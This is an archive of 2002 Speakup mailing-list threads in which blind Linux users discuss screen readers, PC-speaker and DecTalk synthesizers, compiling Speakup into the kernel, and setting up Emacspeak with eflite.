> but seriously I preferr mutt over pine and elm because of the integrated
> pgp support, the low noise screen display, the customizibility
> and the complete manual.
> I also like the way mutt marks new messages with N messages to you with t
> messages directly to you with + and messages cced to you with c
> so a new message carboncopied to you is nc. Pine does not do this.
>
> Regards, Kerry.
> On Thu, May 23, 2002 at 09:00:48PM -0500, Thomas Stivers wrote:
> > This does not apply. The charset stuff does not have any ill affects for
> > the windows users, therefore the program which does cause annoying
> > messages should have the ability to be silenced.
> >
> > Here I go letting myself get involved in this bickeri... er "exchange of
> > ideas" again.
> >
> > --
> >
> > --
> > Thomas Stivers
> > stivers_t@mail.utexas.edu
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>

Re: mailing lists and mail programs

[Thomas Stivers]

Nothing. *smile* I was just expressing my frustration. I have had a good
night's sleep and am hopefully better.
Thanks

-- 

--
Thomas Stivers
stivers_t@mail.utexas.edu

Re: PC Speaker synth for Speakup?

[Alex Snow]

Or you just go to www.pricewatch.com and buy yourself some used soundcard.
----- Original Message -----
From: "Kerry Hoath" <kerry@gotss.net>
To: <speakup@braille.uwo.ca>
Sent: Friday, May 24, 2002 3:14 AM
Subject: Re: PC Speaker synth for Speakup?


> Put an inductive pickup on your pc-speaker,
> run the lead up to an amplified speaker, and no leaning over
> required.
> Although the money you spend on this can get you a cheap PCI soundcard.
> In Australia we get something that will work under Linux for $23
> so about $12 US, and no it won't mix sounds so you buy
> 2 of them at that price and use one for mp3s the other
> for something else.
>
> On Thu, May 23, 2002 at 05:53:44PM -0500, Raul A. Gallegos wrote:
> > I don't see the practical value of this.  I'm sure a lot of people such
> > as myself have their machine on the floor under their desk.  You want to
> > tell me how much work you can do sitting in front of your desk leaning
> > over to try and hear that oh so wonderful quality speaker from your box
> > on the floor?
> >
> >
> >
> > Alex Snow said the following on Thu, May 23, 2002 at 06:46:56PM -0400:
> > > I've heard some programs use the PC speaker before, and there somewhat
> > > understandable.  It depends on the coding.  There used to be this
program
> > > for dos that would use the PC speaker to say the time, and some Star
Wars
> > > frazes.  It was somewhat understandable, but not todally.
> > > ----- Original Message -----
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
> Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or
kerry@gotss.spice.net.au
> ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: PC Speaker synth for Speakup?

[Alex Snow]

On my 486, I ran two leads from the pc speaker terminals on the mainboard to
my soundcard, and now have amplified pcspeaker.
----- Original Message -----
From: "Pete" <persuric@ameritech.net>
To: <speakup@braille.uwo.ca>
Sent: Friday, May 24, 2002 3:17 AM
Subject: Re: PC Speaker synth for Speakup?


>
>   I used to use an old screen reader called seekline in dos.  It had an
> option to use the P C speaker.  It hogged up around 300 K of conventional
> memory though, and the rate I don't think was much faster than 200 to 250
> words per min or so.  It sounded kind of like the doubletalk or monolog
> speech.  Tinytalk came whith a demo version of speech that would work
whith
> the P C speaker.  The bad thing is the volume wasn't vary lowd, so you had
> to have a quiet place to use either one.
>   Pete
>
> ----- Original Message -----
> From: "Alex Snow" <alex_snow@gmx.net>
> To: <speakup@braille.uwo.ca>
> Sent: Thursday, May 23, 2002 6:46 PM
> Subject: Re: PC Speaker synth for Speakup?
>
>
> > I've heard some programs use the PC speaker before, and there somewhat
> > understandable.  It depends on the coding.  There used to be this
program
> > for dos that would use the PC speaker to say the time, and some Star
Wars
> > frazes.  It was somewhat understandable, but not todally.
> > ----- Original Message -----
> > From: "Adam Myrow" <myrow@eskimo.com>
> > To: <speakup@braille.uwo.ca>
> > Sent: Thursday, May 23, 2002 5:42 PM
> > Subject: PC Speaker synth for Speakup?
> >
> >
> > > On Thu, 23 May 2002, Alex Snow wrote:
> > >
> > > > Hi All,
> > > > I was just thinking: Would it be possible to right drivers to use
the
> pc
> > > > speaker as a synth in speakup? Then for those who don't have a
> hardware
> > > > synth that would work.
> > >
> > > Maybe, but I'm not sure it would be understandable.  I mean, the PC
> > > speaker is really small and quite limited.  I recall there used to be
a
> > > kernel patch to use the PC speaker as a sound card, so it is
> theoretically
> > > possible, but again, it would be hard to understand and very likely
> > > low-volume.
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Adam Myrow]

On Fri, 24 May 2002, Kerry Hoath wrote:

> Let's be realistic, most modern boards have soundcards on them,
> and something half decent can be had for $10US so
> gone are the days of pc-speaker and parallel port dongles

True, but the issue we were talking about is the fact that sound usually
isn't set up on an installation CD and many people don't initially know
how to get it working in Linux.  Also, if they choose Alsa or kernel
modules, sound isn't ready until some time after the bootup process has
started.  The whole point of a PC speaker driver would be to provide
speech to somebody who doesn't have a hardware synth and wants to get
Linux up and running.  Granted, I don't think it's real practical, but
that was what was being discussed as I understand it.

Re: interesting experiment.

[Janina Sajka]

No, Octavian, you didn't understand correctly. By the time the
boot process has come along far enough to be able to load
anything into your card, it's too late for Speakup. It isn't
written to support such things. It has to be loaded where it has
to be loaded.

End of story.

On Fri, 24 May 2002, Octavian Rasnita wrote:

> Hi Janina,
> 
> You have asked me about why I don't understand that I can't use pine with
> emacs. Now you ask me why I can't understand that I can't use the DecTalk
> PC1 with Speakup.
> 
> Well, here is the text I have read from another list member:
> 
> as for the problem with the dec-talk pc, the issue is, needing dictionary
> files to be loaded into the synth at boot time.
> You can't do this until the file systems are properly mounted. So, if one
> gets a kernel panic, you wouldn't know about it because you wouldn't have
> speech from kernel load.
> 
> So I've understood that "You can't do this until the file systems are
> properly mounted"
> OK, and I've asked if I can use it after that point.
> Is something that isn't clear?
> Didn't I understood correctly?
> 
> Cheers.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Thursday, May 23, 2002 5:59 PM
> Subject: Re: interesting experiment.
> 
> 
> > Once again, what part of "no" don't you understand? the 'n' or
> > the 'o?'
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Ah, let's see here, ...

Octavian: When you learned Windows, did you do it with sight? Or
where you a blind person already?

On Fri, 24 May 2002, Octavian Rasnita wrote:

> Ha ha, nice. No, I don't read any manual for Windows.
> I read only some readme files for newly installed programs and some help
> files but very rarely.
> This is not because Windows is better. This is because the graphical
> interface is better, and I hope it will be the same under Linux as soon as
> possible.
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Toby Fisher" <toby_fisher@bigfoot.com>
> To: <speakup@braille.uwo.ca>
> Sent: Thursday, May 23, 2002 6:50 PM
> Subject: Re: interesting experiment.
> 
> 
> > On Mon, 20 May 2002, Octavian Rasnita wrote:
> >
> > <snip>
> >
> > > I think I need to take some knowledge first, and after that start
> > giving.
> > > But please notice that not all the people learn from a manual. I haven't
> > > read any manual for Windows, for example.
> >
> > Yeah right, so you never read any Windows help files, or web sights, or
> > readme files, or on-screen tips, you just knew it, right?  Well please
> > share your telepathic powers with us, I, for one, would love them.
> >
> > Cheers.
> >
> > --
> > Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> > Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> > ICQ: #61744808
> >    Please avoid sending me Word or PowerPoint attachments.
> >    See http://www.fsf.org/philosophy/no-word-attachments.html
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Yes, it's definitely too soon for you to give others adivce about
Linux. But, it doesn't look like you're ready to do much learning
yet, either.

On Fri, 24 May 2002, Octavian Rasnita wrote:

> Ha ha, nice. No, I don't read any manual for Windows.
> I read only some readme files for newly installed programs and some help
> files but very rarely.
> This is not because Windows is better. This is because the graphical
> interface is better, and I hope it will be the same under Linux as soon as
> possible.
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Toby Fisher" <toby_fisher@bigfoot.com>
> To: <speakup@braille.uwo.ca>
> Sent: Thursday, May 23, 2002 6:50 PM
> Subject: Re: interesting experiment.
> 
> 
> > On Mon, 20 May 2002, Octavian Rasnita wrote:
> >
> > <snip>
> >
> > > I think I need to take some knowledge first, and after that start
> > giving.
> > > But please notice that not all the people learn from a manual. I haven't
> > > read any manual for Windows, for example.
> >
> > Yeah right, so you never read any Windows help files, or web sights, or
> > readme files, or on-screen tips, you just knew it, right?  Well please
> > share your telepathic powers with us, I, for one, would love them.
> >
> > Cheers.
> >
> > --
> > Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> > Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> > ICQ: #61744808
> >    Please avoid sending me Word or PowerPoint attachments.
> >    See http://www.fsf.org/philosophy/no-word-attachments.html
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Alex Snow]

I have to admit, I kinda like gui.  But I like the command line even better.
I'd rather edit config files then go through confusing dialogue boxes.  My
first OS was dos 5 so maybe that has something to do with it.
----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: Friday, May 24, 2002 1:32 AM
Subject: Re: interesting experiment.


> Ha ha, nice. No, I don't read any manual for Windows.
> I read only some readme files for newly installed programs and some help
> files but very rarely.
> This is not because Windows is better. This is because the graphical
> interface is better, and I hope it will be the same under Linux as soon as
> possible.
>
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Toby Fisher" <toby_fisher@bigfoot.com>
> To: <speakup@braille.uwo.ca>
> Sent: Thursday, May 23, 2002 6:50 PM
> Subject: Re: interesting experiment.
>
>
> > On Mon, 20 May 2002, Octavian Rasnita wrote:
> >
> > <snip>
> >
> > > I think I need to take some knowledge first, and after that start
> > giving.
> > > But please notice that not all the people learn from a manual. I
haven't
> > > read any manual for Windows, for example.
> >
> > Yeah right, so you never read any Windows help files, or web sights, or
> > readme files, or on-screen tips, you just knew it, right?  Well please
> > share your telepathic powers with us, I, for one, would love them.
> >
> > Cheers.
> >
> > --
> > Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> > Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> > ICQ: #61744808
> >    Please avoid sending me Word or PowerPoint attachments.
> >    See http://www.fsf.org/philosophy/no-word-attachments.html
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Alex Snow]

What also would be a good ida would have pcspeaker speach until alsa or oss
loaded, then swap it for software.  So then if you got a kernel panic or
some other bootup error, you could here what it was.
----- Original Message -----
From: "Adam Myrow" <myrow@eskimo.com>
To: <speakup@braille.uwo.ca>
Sent: Friday, May 24, 2002 6:01 PM
Subject: Re: interesting experiment.


> On Fri, 24 May 2002, Kerry Hoath wrote:
>
> > Let's be realistic, most modern boards have soundcards on them,
> > and something half decent can be had for $10US so
> > gone are the days of pc-speaker and parallel port dongles
>
> True, but the issue we were talking about is the fact that sound usually
> isn't set up on an installation CD and many people don't initially know
> how to get it working in Linux.  Also, if they choose Alsa or kernel
> modules, sound isn't ready until some time after the bootup process has
> started.  The whole point of a PC speaker driver would be to provide
> speech to somebody who doesn't have a hardware synth and wants to get
> Linux up and running.  Granted, I don't think it's real practical, but
> that was what was being discussed as I understand it.
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Octavian Rasnita]

So speakup should be kind of part of Linux?
Does this mean that it is not a standalone screen reader, but one that
(maybe) need to be compiled in Linux kernel or something?

Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 25, 2002 4:14 PM
Subject: Re: interesting experiment.


> No, Octavian, you didn't understand correctly. By the time the
> boot process has come along far enough to be able to load
> anything into your card, it's too late for Speakup. It isn't
> written to support such things. It has to be loaded where it has
> to be loaded.
>
> End of story.
>
> On Fri, 24 May 2002, Octavian Rasnita wrote:
>
> > Hi Janina,
> >
> > You have asked me about why I don't understand that I can't use pine
with
> > emacs. Now you ask me why I can't understand that I can't use the
DecTalk
> > PC1 with Speakup.
> >
> > Well, here is the text I have read from another list member:
> >
> > as for the problem with the dec-talk pc, the issue is, needing
dictionary
> > files to be loaded into the synth at boot time.
> > You can't do this until the file systems are properly mounted. So, if
one
> > gets a kernel panic, you wouldn't know about it because you wouldn't
have
> > speech from kernel load.
> >
> > So I've understood that "You can't do this until the file systems are
> > properly mounted"
> > OK, and I've asked if I can use it after that point.
> > Is something that isn't clear?
> > Didn't I understood correctly?
> >
> > Cheers.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Thursday, May 23, 2002 5:59 PM
> > Subject: Re: interesting experiment.
> >
> >
> > > Once again, what part of "no" don't you understand? the 'n' or
> > > the 'o?'
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Octavian Rasnita]

Hi Janina,
When I learned Windows, I was sighted.
If now that I should learn Linux being blind, should I change my style of
learning?

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 25, 2002 4:15 PM
Subject: Re: interesting experiment.


> Ah, let's see here, ...
>
> Octavian: When you learned Windows, did you do it with sight? Or
> where you a blind person already?
>
> On Fri, 24 May 2002, Octavian Rasnita wrote:
>
> > Ha ha, nice. No, I don't read any manual for Windows.
> > I read only some readme files for newly installed programs and some help
> > files but very rarely.
> > This is not because Windows is better. This is because the graphical
> > interface is better, and I hope it will be the same under Linux as soon
as
> > possible.
> >
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Toby Fisher" <toby_fisher@bigfoot.com>
> > To: <speakup@braille.uwo.ca>
> > Sent: Thursday, May 23, 2002 6:50 PM
> > Subject: Re: interesting experiment.
> >
> >
> > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > >
> > > <snip>
> > >
> > > > I think I need to take some knowledge first, and after that start
> > > giving.
> > > > But please notice that not all the people learn from a manual. I
haven't
> > > > read any manual for Windows, for example.
> > >
> > > Yeah right, so you never read any Windows help files, or web sights,
or
> > > readme files, or on-screen tips, you just knew it, right?  Well please
> > > share your telepathic powers with us, I, for one, would love them.
> > >
> > > Cheers.
> > >
> > > --
> > > Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> > > Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> > > ICQ: #61744808
> > >    Please avoid sending me Word or PowerPoint attachments.
> > >    See http://www.fsf.org/philosophy/no-word-attachments.html
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Octavian Rasnita]

For some situations, I agree.
For configuring something, I prefer sometimes the text mode in a
configuration file.
For example, I like more the httpd.conf configuration file for Apache web
server, than the graphical interface of Internet Information server of
microsoft.
But I don't like the command line and text mode for tasks that I have to do
more often, like copying, renaming, deleting, moving, editing files, reading
mail, browsing the web, etc.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Alex Snow" <alex_snow@gmx.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 25, 2002 4:23 PM
Subject: Re: interesting experiment.


> I have to admit, I kinda like gui.  But I like the command line even
better.
> I'd rather edit config files then go through confusing dialogue boxes.  My
> first OS was dos 5 so maybe that has something to do with it.
> ----- Original Message -----
> From: "Octavian Rasnita" <orasnita@home.ro>
> To: <speakup@braille.uwo.ca>
> Sent: Friday, May 24, 2002 1:32 AM
> Subject: Re: interesting experiment.
>
>
> > Ha ha, nice. No, I don't read any manual for Windows.
> > I read only some readme files for newly installed programs and some help
> > files but very rarely.
> > This is not because Windows is better. This is because the graphical
> > interface is better, and I hope it will be the same under Linux as soon
as
> > possible.
> >
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Toby Fisher" <toby_fisher@bigfoot.com>
> > To: <speakup@braille.uwo.ca>
> > Sent: Thursday, May 23, 2002 6:50 PM
> > Subject: Re: interesting experiment.
> >
> >
> > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > >
> > > <snip>
> > >
> > > > I think I need to take some knowledge first, and after that start
> > > giving.
> > > > But please notice that not all the people learn from a manual. I
> haven't
> > > > read any manual for Windows, for example.
> > >
> > > Yeah right, so you never read any Windows help files, or web sights,
or
> > > readme files, or on-screen tips, you just knew it, right?  Well please
> > > share your telepathic powers with us, I, for one, would love them.
> > >
> > > Cheers.
> > >
> > > --
> > > Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> > > Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> > > ICQ: #61744808
> > >    Please avoid sending me Word or PowerPoint attachments.
> > >    See http://www.fsf.org/philosophy/no-word-attachments.html
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Shaun Oliver]

-- 
Shaun Oliver
*SNIP*
On Sun, 26 May 2002, Octavian Rasnita wrote:

> So speakup should be kind of part of Linux?
> Does this mean that it is not a standalone screen reader, but one that
> (maybe) need to be compiled in Linux kernel or something?
Yes teddy, speakup needs to be compiled into the kernel at this stage. So,
it might be a good idea of you read up on how to compile a kernel and what
hardware synts are supported by speakup.

Shaun..

Re: Emacspeak

[Janina Sajka]

Scott Howell writes:
> 
> Just had a quick question. I know there is a patch for Speakup that will 
> allow Speakup and Emacspeak to get along, but what I am wondering is if 
> you use Flight or whatever software speech engine for Emacspeak, do you 
> still need to patch Speakup?

No, you would not. The patch is about sharing a speech device between
Speakup and Emacspeak. If you use a different device, then there is no
conflict, and nothing to resolve.

In fact, this is arguably the optimal way to get familiar with
Emacspeak.. Simply turn Speakup off and on as much aas you need to in
order to understand what'shappening in emacs. Emacspeak is not
particularly forgiving and can be very frustrating all by itself.

> I've not tried Emacspeak, but am curious and maybe at some point I just 
> might want to give it a go.
> 
> tnx
> 
> ---
> Scott
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Emacspeak

[Scott Howell]

Just had a quick question. I know there is a patch for Speakup that will 
allow Speakup and Emacspeak to get along, but what I am wondering is if 
you use Flight or whatever software speech engine for Emacspeak, do you 
still need to patch Speakup?
I've not tried Emacspeak, but am curious and maybe at some point I just 
might want to give it a go.

tnx

---
Scott

Re: emacspeak

[Janina Sajka]

As I said in my message, it's software. Read the provided url to
learn more.

On Wed, 8 May 2002, Alex Snow wrote:

> Hi All,
> What is eflite?
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Tuesday, May 07, 2002 7:17 PM
> Subject: Re: emacspeak
> 
> 
> > Hi, Igor:
> >
> > The eflite package provides screen review for yasr, and a speech
> > server for emacspeak using the flite speech synthesizer. So, it's
> > all software, except for your sound card's chips. The order is:
> >
> > 1.) Compile and install flite
> > 2.) Compile and install eflite
> > 3.) compile and install yasr -- and/or wire the eflite
> > server for emacspeak.
> >
> > Look at http://eflite.sf.net
> >
> > I used yasr and eflite all the way fromWashington to Honolulu
> > last Friday--until my batteries gave out. It isn't Speakup, but
> > it's pretty good, and was sure useful when I couldn't use
> > hardware speech.
> >
> > On Tue, 7 May 2002, Igor Gueths wrote:
> >
> > > Hi Janina. Are eflite and yasr packages which will echo commands to the
> serial port? I'll have to see if I find them somewhere. Or, I could pass
> speakup_synth=none reboot and see if emacspeak will work.
> > > ----- Original Message -----
> > > From: Janina Sajka <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Tuesday, May 07, 2002 4:47 PM
> > > Subject: Re: emacspeak
> > >
> > >
> > > > Hi, Igor:
> > > >
> > > > If you're getting errors in tcl, then you should expect emacspeak
> > > > will break, as indeed you've discovered.
> > > >
> > > > By all means, try ViaVoice, and also try the second synth
> > > > approach. I suspect you'll prefer the latter approach because
> > > > ViaVoice tends to prevent other audio from playing.
> > > >
> > > > Another way to get at the issue of whether it's a conflict with
> > > > Speakup is to try your tcl commands without Speakup loaded. You
> > > > should be able to do this even without sighted assistance if you
> > > > get eflite and yasr.
> > > >
> > > > On Tue, 7 May 2002, Igor Gueths wrote:
> > > >
> > > > > Hi Janina. Well what happens is that first, I hit pint screen to
> so-called kill Speakup. Next, I type emacspeak. When I get Speakup up again
> to see why I got a \a (bell character), I see that at the bottom it says
> process speaker not running. I believe that this has to do with the i/o
> errors I was getting while trying to test the speech server with tcl. Also,
> I might be getting another dectalk express sometime in the future. If I plug
> that into my other serial port /dev/ttyS1, and re-export the dtk_port
> variable, could this possibly fix the problem? Or possibly using viavoice
> instead? Thanks!
> > > > > ----- Original Message -----
> > > > > From: Janina Sajka <janina@afb.net>
> > > > > To: <speakup@braille.uwo.ca>
> > > > > Sent: Monday, May 06, 2002 11:43 PM
> > > > > Subject: Re: emacspeak
> > > > >
> > > > >
> > > > > > Igor:
> > > > > >
> > > > > > What happens when you launch emacspeak?
> > > > > >
> > > > > > I presume you boot with Speakup. So, what happens when you
> > > > > > launch Emacspeak?
> > > > > > On Mon, 6 May 2002, Igor Gueths wrote:
> > > > > >
> > > > > > > Hi all. Where can I find the resolution to this issue? What
> keywords
> > > > > > > should I search for in the vassar archives? Thanks!
> > > > > > >
> > > > > > > On Mon, 6 May 2002, Janina Sajka wrote:
> > > > > > >
> > > > > > > > Speakup and emacspeak can share the same hardware synth.
> > > > > > > >
> > > > > > > > This issue was resolved some time ago.
> > > > > > > >
> > > > > > > > On Mon, 6 May 2002, Igor Gueths wrote:
> > > > > > > >
> > > > > > > > > Hi Janina and Hi all. Janina, I understand you are on the
> Emacspeak list
> > > > > > > > > as well as the Speakup list, as I have subscribed to it. Do
> you or anyone
> > > > > > > > > else, for that matter, know if Speakup interferes with i/o
> even after you
> > > > > > > > > hit print-screen and Speakup is killed so I can start
> Emacspeak? Because I
> > > > > > > > > have been getting basically I/o errors when testing the
> dtk-exp speech
> > > > > > > > > server with tcl. Does anyone know if this is the case?
> Because I was
> > > > > > > > > mainly going to use it for possibly Emacs itself (I've been
> digging around
> > > > > > > > > Emacs docs for quite a while), and possibly running
> something like Tnt.
> > > > > > > > > Can Tnt run under a Bash console, since it runs under a sort
> of shell
> > > > > > > > > anyway? The only difference is that it is inside of Emacs
> not at a regular
> > > > > > > > > Tcsh/Bash prompt? Any insite on this would be appreciated.
> Thanks!
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > _______________________________________________
> > > > > > > > > Speakup mailing list
> > > > > > > > > Speakup@braille.uwo.ca
> > > > > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > > > > >
> > > > > > > >
> > > > > > > > --
> > > > > > > >
> > > > > > > > Janina Sajka, Director
> > > > > > > > Technology Research and Development
> > > > > > > > Governmental Relations Group
> > > > > > > > American Foundation for the Blind (AFB)
> > > > > > > >
> > > > > > > > Email: janina@afb.net Phone: (202) 408-8175
> > > > > > > >
> > > > > > > > Chair, Accessibility SIG
> > > > > > > > Open Electronic Book Forum (OEBF)
> > > > > > > > http://www.openebook.org
> > > > > > > >
> > > > > > > >
> > > > > > > > _______________________________________________
> > > > > > > > Speakup mailing list
> > > > > > > > Speakup@braille.uwo.ca
> > > > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > _______________________________________________
> > > > > > > Speakup mailing list
> > > > > > > Speakup@braille.uwo.ca
> > > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > > >
> > > > > >
> > > > > > --
> > > > > >
> > > > > > Janina Sajka, Director
> > > > > > Technology Research and Development
> > > > > > Governmental Relations Group
> > > > > > American Foundation for the Blind (AFB)
> > > > > >
> > > > > > Email: janina@afb.net Phone: (202) 408-8175
> > > > > >
> > > > > > Chair, Accessibility SIG
> > > > > > Open Electronic Book Forum (OEBF)
> > > > > > http://www.openebook.org
> > > > > >
> > > > > >
> > > > > > _______________________________________________
> > > > > > Speakup mailing list
> > > > > > Speakup@braille.uwo.ca
> > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > >
> > > > --
> > > >
> > > > Janina Sajka, Director
> > > > Technology Research and Development
> > > > Governmental Relations Group
> > > > American Foundation for the Blind (AFB)
> > > >
> > > > Email: janina@afb.net Phone: (202) 408-8175
> > > >
> > > > Chair, Accessibility SIG
> > > > Open Electronic Book Forum (OEBF)
> > > > http://www.openebook.org
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
